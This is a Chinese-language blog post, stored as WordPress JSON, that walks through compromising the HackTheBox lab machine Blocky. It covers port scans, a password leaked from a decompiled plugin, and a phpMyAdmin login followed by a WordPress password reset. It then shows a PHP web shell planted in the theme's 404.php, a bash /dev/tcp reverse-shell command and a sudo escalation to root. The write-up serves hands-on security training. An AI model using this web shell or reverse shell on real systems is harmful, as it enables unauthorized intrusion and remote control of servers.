{"id":132,"date":"2024-11-13T10:01:25","date_gmt":"2024-11-13T02:01:25","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=132"},"modified":"2024-11-13T10:01:26","modified_gmt":"2024-11-13T02:01:26","slug":"132","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/132\/","title":{"rendered":"HTB\u9776\u673a Blocky \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.37<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/Documents\/pentest_notes\/blocky\/nmap_reports]\n\u2514\u2500# ping -c 4 10.10.10.37\nPING 10.10.10.37 (10.10.10.37) 56(84) bytes of data.\n64 bytes from 10.10.10.37: icmp_seq=1 ttl=63 time=274 ms\n64 bytes from 10.10.10.37: icmp_seq=2 ttl=63 time=273 ms\n64 bytes from 10.10.10.37: icmp_seq=3 ttl=63 time=274 ms\n64 bytes from 10.10.10.37: icmp_seq=4 ttl=63 time=273 ms\n\n--- 10.10.10.37 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3234ms\nrtt min\/avg\/max\/mdev = 272.928\/273.447\/274.221\/0.495 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u7f51\u7edc\u901a\u4fe1\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Jul 25 08:50:42 2024 as: nmap -sA -p- --min-rate 2000 -oN .\/ack_result.txt 10.10.10.37\nNmap scan report for 10.10.10.37 (10.10.10.37)\nHost is up (0.27s latency).\nNot shown: 65530 filtered tcp ports (no-response)\nPORT      STATE      SERVICE\n21\/tcp    unfiltered ftp\n22\/tcp    unfiltered ssh\n80\/tcp    unfiltered http\n8192\/tcp  unfiltered sophos\n25565\/tcp unfiltered minecraft\n\n# Nmap done at Thu Jul 25 08:52:21 2024 -- 1 IP address (1 host up) scanned in 99.33 seconds<\/code><\/pre>\n<p>\u9776\u673a\u5f00\u653e\u4e86<code>5<\/code>\u4e2a<code>TCP<\/code>\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Jul 25 09:20:34 2024 as: nmap -sS -sV -A -p 21,22,80,8192,25565 -oN .\/tcp_result.txt 10.10.10.37\nNmap scan report for 10.10.10.37 (10.10.10.37)\nHost is up (0.23s latency).\n\nPORT      STATE  SERVICE   VERSION\n21\/tcp    open   ftp       ProFTPD 1.3.5a\n22\/tcp    open   ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   2048 d6:2b:99:b4:d5:e7:53:ce:2b:fc:b5:d7:9d:79:fb:a2 (RSA)\n|   256 5d:7f:38:95:70:c9:be:ac:67:a0:1e:86:e7:97:84:03 (ECDSA)\n|_  256 09:d5:c2:04:95:1a:90:ef:87:56:25:97:df:83:70:67 (ED25519)\n80\/tcp    open   http      Apache httpd 2.4.18\n|_http-title: Did not follow redirect to http:\/\/blocky.htb\n|_http-server-header: Apache\/2.4.18 (Ubuntu)\n8192\/tcp  closed sophos\n25565\/tcp open   minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0\/20)\nAggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.16 (90%), Linux 3.16 - 4.6 (90%), Linux 3.12 (89%), Linux 3.2 - 4.9 (89%), Linux 3.8 - 3.11 (89%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: Host: 127.0.1.1; OSs: Unix, Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 8192\/tcp)\nHOP RTT       ADDRESS\n1   228.25 ms 10.10.14.1 (10.10.14.1)\n2   228.25 ms 10.10.10.37 (10.10.10.37)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Thu Jul 25 09:20:56 2024 -- 1 IP address (1 host up) scanned in 21.39 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Jul 25 09:00:54 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.37\nNmap scan report for 10.10.10.37 (10.10.10.37)\nHost is up (0.27s latency).\nNot shown: 65531 open|filtered udp ports (no-response)\nPORT      STATE  SERVICE\n22\/udp    closed ssh\n80\/udp    closed http\n8192\/udp  closed sophos\n25565\/udp closed unknown\n\n# Nmap done at Thu Jul 25 09:02:01 2024 -- 1 IP address (1 host up) scanned in 66.45 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u5b58\u5728\u57df\u540d<code>blocky.htb<\/code>\uff0c\u6000\u7591\u9776\u673a\u5b58\u5728\u7aef\u53e3\u6572\u95e8\uff0c\u4ee5\u53ca\u9776\u673a\u4e0a\u6709\u6211\u7684\u4e16\u754c\u670d\u52a1\u5668\u8fd9\u4ef6\u4e8b\uff01\uff01\uff01\uff01<\/p>\n<p><del>\uff08\u4f60\u4e5f\u4e0d\u60f3\u88abLog4j\u6f0f\u6d1e\u4e00\u53d1\u5165\u9b42\u5427.jpg\uff09<\/del><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/webp\/42816956\/1721870354031-e85d491e-0c4c-4da6-91a2-3adc00fd4ae0.webp\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>FTP\u670d\u52a1\uff0821\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u533f\u540d\u767b\u5f55<code>FTP<\/code>\u670d\u52a1\u5668\uff0c\u5931\u8d25\uff1a<\/p>\n<pre><code class=\"language-shell\">ftp 10.10.10.37 21<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721953871084-b0459f81-5248-4aea-b335-c563630c0bfd.png\" alt=\"\" \/><\/p>\n<p>\u8fd8\u53d1\u73b0\u8be5\u7248\u672c<code>ProFTPd<\/code>\u7591\u4f3c\u5b58\u5728\u4efb\u610f\u6587\u4ef6\u5199\u5165\u6f0f\u6d1e\u3002<\/p>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/blocky]\n\u2514\u2500# nc -nv 10.10.10.37 22                                                  \n(UNKNOWN) [10.10.10.37] 22 (ssh) open\nSSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/blocky.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721954243922-7c5c8ba2-4d06-47b5-82d4-47fc0553bfdd.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u4e3b\u9875\u4e3a<code>WordPress<\/code>\u7ad9\u70b9\u3002\u5f80\u4e0b\u67e5\u770b\uff0c\u53d1\u73b0\u7ad9\u70b9\u5185\u6709\u5982\u4e0b\u5e16\u5b50\uff1a<\/p>\n<pre><code class=\"language-plain\">========== Welcome to BlockyCraft! ==========\nWelcome everyone. The site and server are still under construction so don\u2019t expect too much right now!\n\nWe are currently developing a wiki system for the server and a core plugin to track player stats and stuff. Lots of great stuff planned for the future \ud83d\ude42\n=============================================<\/code><\/pre>\n<p>\u5e16\u5b50\u79f0\u8be5\u670d\u52a1\u5668\u8fd8\u5904\u4e8e\u5f00\u53d1\u8fdb\u7a0b\u4e2d\uff0c\u4e00\u5957\u767e\u79d1\u7cfb\u7edf\u548c\u7528\u4e8e\u76d1\u89c6\u73a9\u5bb6\u548c\u5458\u5de5\u8d26\u53f7\u72b6\u6001\u7684\u6e38\u620f\u63d2\u4ef6\u5c06\u4f1a\u88ab\u5f00\u53d1\u548c\u4f7f\u7528\u3002\u8ba4\u4e3a\u4e0a\u9762\u63d0\u5230\u7684\u201c\u63d2\u4ef6\u201d\u8f83\u4e3a\u53ef\u7591\u3002\uff08\u6000\u7591\u6267\u884c\u4e86\u67d0\u6761\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4\u4ee5\u8fbe\u5230\u83b7\u53d6\u72b6\u6001\u7684\u6548\u679c\uff09<\/p>\n<p>\u9996\u5148\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Fri Jul 26 08:46:38 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/blocky.htb\/ -x 400,403,404 -e php,js,html,txt,zip,tar.gz,pcap -t 60\n\n301     0B   http:\/\/blocky.htb\/index.php    -&gt; REDIRECTS TO: http:\/\/blocky.htb\/\n301   313B   http:\/\/blocky.htb\/javascript    -&gt; REDIRECTS TO: http:\/\/blocky.htb\/javascript\/\n200     7KB  http:\/\/blocky.htb\/license.txt\n301   313B   http:\/\/blocky.htb\/phpmyadmin    -&gt; REDIRECTS TO: http:\/\/blocky.htb\/phpmyadmin\/\n301   310B   http:\/\/blocky.htb\/plugins    -&gt; REDIRECTS TO: http:\/\/blocky.htb\/plugins\/\n200     3KB  http:\/\/blocky.htb\/phpmyadmin\/doc\/html\/index.html\n200   409B   http:\/\/blocky.htb\/plugins\/\n200     3KB  http:\/\/blocky.htb\/phpmyadmin\/\n200     3KB  http:\/\/blocky.htb\/phpmyadmin\/index.php\n200     3KB  http:\/\/blocky.htb\/readme.html\n301   307B   http:\/\/blocky.htb\/wiki    -&gt; REDIRECTS TO: http:\/\/blocky.htb\/wiki\/\n200   256B   http:\/\/blocky.htb\/wiki\/\n301   311B   http:\/\/blocky.htb\/wp-admin    -&gt; REDIRECTS TO: http:\/\/blocky.htb\/wp-admin\/\n200     0B   http:\/\/blocky.htb\/wp-config.php\n200     0B   http:\/\/blocky.htb\/wp-content\/\n301   313B   http:\/\/blocky.htb\/wp-content    -&gt; REDIRECTS TO: http:\/\/blocky.htb\/wp-content\/\n302     0B   http:\/\/blocky.htb\/wp-admin\/    -&gt; REDIRECTS TO: http:\/\/blocky.htb\/wp-login.php?redirect_to=http%3A%2F%2Fblocky.htb%2Fwp-admin%2F&amp;reauth=1\n200     1B   http:\/\/blocky.htb\/wp-admin\/admin-ajax.php\n500     4KB  http:\/\/blocky.htb\/wp-admin\/setup-config.php\n200   531B   http:\/\/blocky.htb\/wp-admin\/install.php\n500     0B   http:\/\/blocky.htb\/wp-content\/plugins\/hello.php\n500     0B   http:\/\/blocky.htb\/wp-includes\/rss-functions.php\n301   314B   http:\/\/blocky.htb\/wp-includes    -&gt; REDIRECTS TO: http:\/\/blocky.htb\/wp-includes\/\n200     0B   http:\/\/blocky.htb\/wp-cron.php\n302     0B   http:\/\/blocky.htb\/wp-signup.php    -&gt; REDIRECTS TO: http:\/\/blocky.htb\/wp-login.php?action=register\n200    84B   http:\/\/blocky.htb\/wp-content\/plugins\/akismet\/akismet.php\n200     1KB  http:\/\/blocky.htb\/wp-login.php\n200   453B   http:\/\/blocky.htb\/wp-content\/uploads\/\n405    42B   http:\/\/blocky.htb\/xmlrpc.php\n200     4KB  http:\/\/blocky.htb\/wp-includes\/<\/code><\/pre>\n<p>\u53d1\u73b0\u4e86\u654f\u611f\u76ee\u5f55<code>\/phpmyadmin<\/code>\uff08\u7248\u672c\u4e3a<code>4.5.4.1deb2ubuntu2<\/code>\uff09\u3001<code>\/plugins<\/code>\u548c<code>\/wiki<\/code>\u3002\u7ecf\u8bbf\u95ee\u67e5\u770b\uff0c\u53d1\u73b0<code>\/plugins<\/code>\u76ee\u5f55\u4e3a<code>CuteFile Browser<\/code>\uff0c\u800c<code>\/wiki<\/code>\u76ee\u5f55\u4e3b\u9875\u4e3a\uff1a<\/p>\n<pre><code class=\"language-html\">&lt;html&gt;\n&lt;head&gt;\n    &lt;title&gt;[Under Construction] BlockyCraft Wiki&lt;\/title&gt;\n&lt;\/head&gt;\n&lt;body&gt;\n&lt;h1&gt;Under Construction&lt;\/h1&gt;\n&lt;p&gt;Please check back later! We will start publishing wiki articles after we have finished the main server plugin!&lt;\/p&gt;\n&lt;p&gt;The new core plugin will store your playtime and other information in our database, so you can see your own stats!&lt;\/p&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n<p>\u5c1d\u8bd5\u626b\u63cf<code>\/wiki<\/code>\u76ee\u5f55\uff0c\u65e0\u4efb\u4f55\u7ed3\u679c\u3002<\/p>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>WPScan<\/code>\u63a5\u5165<code>API<\/code>\u5bf9\u9776\u673a<code>WordPress<\/code>\u8fdb\u884c\u7efc\u5408\u679a\u4e3e\uff1a<\/p>\n<pre><code class=\"language-shell\">wpscan --url http:\/\/blocky.htb\/ --enumerate u,p,t --plugins-detection aggressive --detection-mode aggressive --api-token \"******\"<\/code><\/pre>\n<p>\u7ecf\u8fc7\u626b\u63cf\u4e4b\u540e\uff0c\u9664\u4e86\u53d1\u73b0\u7528\u6237\u4e3a<code>notch<\/code>\u5916\uff0c\u672a\u53d1\u73b0\u5176\u5b83\u6709\u6548\u4fe1\u606f\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721957390375-3468be08-80f5-404e-82c7-9c0fa6aa6133.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u8bbf\u95ee<code>\/plugins<\/code>\u76ee\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721957457447-8502fda7-be32-4095-8df5-50d54a32d95c.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0<code>2<\/code>\u4e2a<code>JAR<\/code>\u5305\uff0c\u5c1d\u8bd5\u8fdb\u884c\u4e0b\u8f7d\u5728\u7ebf\u53cd\u7f16\u8bd1\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721958439676-111845d7-a70b-471c-a413-01606b794627.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u6570\u636e\u5e93\u5bc6\u7801\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>root<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>8YsqfCTnvxAUeduzjNSXe22<\/code><\/li>\n<\/ul>\n<p>\u76f4\u63a5\u767b\u5f55<code>PHPMyAdmin<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721958630157-55ed0990-b4de-4287-bb7e-8743f9c9450f.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u5728\u7ebf\u4fee\u6539WordPress\u5bc6\u7801<\/h2>\n<p>\u767b\u5f55<code>PHPMyAdmin<\/code>\u4e4b\u540e\uff0c\u53d1\u73b0\u6709<code>wordpress<\/code>\u6570\u636e\u5e93\u3002\u67e5\u770b<code>wp_users<\/code>\u8868\uff0c\u53d1\u73b0\u8be5\u7248\u672c<code>WordPress<\/code>\u7684\u5bc6\u7801\u52a0\u5bc6\u65b9\u5f0f\u5e76\u975e\u4e3a<code>MD5<\/code>\u3002\u76f4\u63a5\u4f7f\u7528\u5728\u7ebf\u5bc6\u7801\u751f\u6210\u5668\u751f\u6210\u57fa\u4e8e<code>Phpass<\/code>\u7684\u5bc6\u7801\u54c8\u5e0c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721959345835-8a912c79-cf48-4900-ab15-a8c86e18cee6.png\" alt=\"\" \/><\/p>\n<p>\u5c06\u7ed3\u679c\u590d\u5236\u540e\uff0c\u8fdb\u5165<code>PHPMyAdmin<\/code>\u4fee\u6539<code>notch<\/code>\u7684\u7528\u6237\u5bc6\u7801\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721959378354-c92b881b-ff0c-4aae-b32e-01ceea7cc719.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01\u76f4\u63a5\u767b\u5f55<code>WordPress<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721959434459-78063b91-c8ed-4259-814f-756b70be1007.png\" alt=\"\" \/><\/p>\n<p>\u63a5\u4e0b\u6765\uff0c\u6253\u5f00\u4e3b\u9898\u7f16\u8f91\u5668<code>Appearance -&gt; Editor<\/code>\uff0c\u9009\u62e9\u542f\u7528\u7684\u4e3b\u9898<code>Twenty Seventeen<\/code>\uff0c\u5728<code>404.php<\/code>\u4e2d\u6dfb\u52a0\u5982\u4e0b\u540e\u95e8\uff1a<\/p>\n<pre><code class=\"language-php\">&lt;?php\n  $command = $_GET['cmd'];\n  if (isset($command) &amp;&amp; !empty($command)) {\n    system($command);\n  } else echo(\"&lt;!-- Hello, hello, I'm sparkle! --&gt;\");\n?&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721959976769-707b4f0a-f865-49a1-afee-239d0ac2d727.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u8bbf\u95ee<code>http:\/\/blocky.htb\/wp-content\/themes\/twentyseventeen\/404.php<\/code>\uff0c\u67e5\u770b\u7f51\u9875\u6e90\u4ee3\u7801\uff0c\u6210\u529f\u53d1\u73b0\u6807\u8bb0\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721960001273-0c407cae-9695-499d-8510-d36040944afd.png\" alt=\"\" \/><\/p>\n<p><strong>\u540e\u95e8\u5199\u5165\u6210\u529f\uff01\uff01\uff01\u63a5\u4e0b\u6765\u76f4\u63a5\u53cd\u5f39Shell\uff1a<\/strong><\/p>\n<pre><code class=\"language-bash\">\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.3\/443 0&gt;&amp;1'<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721960816918-68cb5ae6-f687-4893-a9be-b1de8121c8aa.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u63d0\u6743\u81f3notch\u7528\u6237<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u53d1\u73b0\u9776\u673a\u6709\u7528\u6237<code>notch<\/code>\uff0c\u800c\u5f53\u524d\u7528\u6237\u4e3a<code>www-data<\/code>\u3002\u5c1d\u8bd5\u5c06<code>MySQL<\/code>\u6570\u636e\u5e93\u7684\u5bc6\u7801\u4f5c\u4e3a<code>notch<\/code>\u7528\u6237\u7684\u5bc6\u7801\u8fdb\u884c\u7528\u6237\u5207\u6362\uff1a<\/p>\n<pre><code class=\"language-shell\">su notch<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721961085935-a3024a56-6815-456f-ad55-5fa7b516e9be.png\" alt=\"\" \/><\/p>\n<p>\u4e3a\u65b9\u4fbf\u64cd\u4f5c\uff0c\u51b3\u5b9a\u4f7f\u7528<code>Termius<\/code>\u8f6f\u4ef6\u767b\u5f55\u9776\u673a<code>SSH<\/code>\u670d\u52a1\u8fdb\u884c\u540e\u7eed\u63d0\u6743\u3002<\/p>\n<h2>Sudo\u5207\u6362\u7528\u6237<\/h2>\n<p>\u767b\u5f55<code>notch<\/code>\u7528\u6237\u4e4b\u540e\uff0c\u5c1d\u8bd5\u67e5\u770b\u8be5\u7528\u6237<code>Sudo<\/code>\u6743\u9650\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721961403224-6c0bade8-0b95-412c-9e80-15a74c5f9153.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u8be5\u7528\u6237\u53ef\u4ee5\u4ee5<code>root<\/code>\u6743\u9650\u8fd0\u884c\u4efb\u610f\u547d\u4ee4\uff0c\u76f4\u63a5\u5207\u6362\u7528\u6237\u5230<code>root<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">sudo su -<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1721961491258-8f580b35-ec75-42a2-b4a7-3a56ca5420f7.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<pre><code class=\"language-plain\">2d793e1eee721ae1819686ff441ea456<\/code><\/pre>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.37 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b \u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/\u2026\/ &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-132","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/132","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=132"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/132\/revisions"}],"predecessor-version":[{"id":133,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/132\/revisions\/133"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=132"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=132"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=132"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}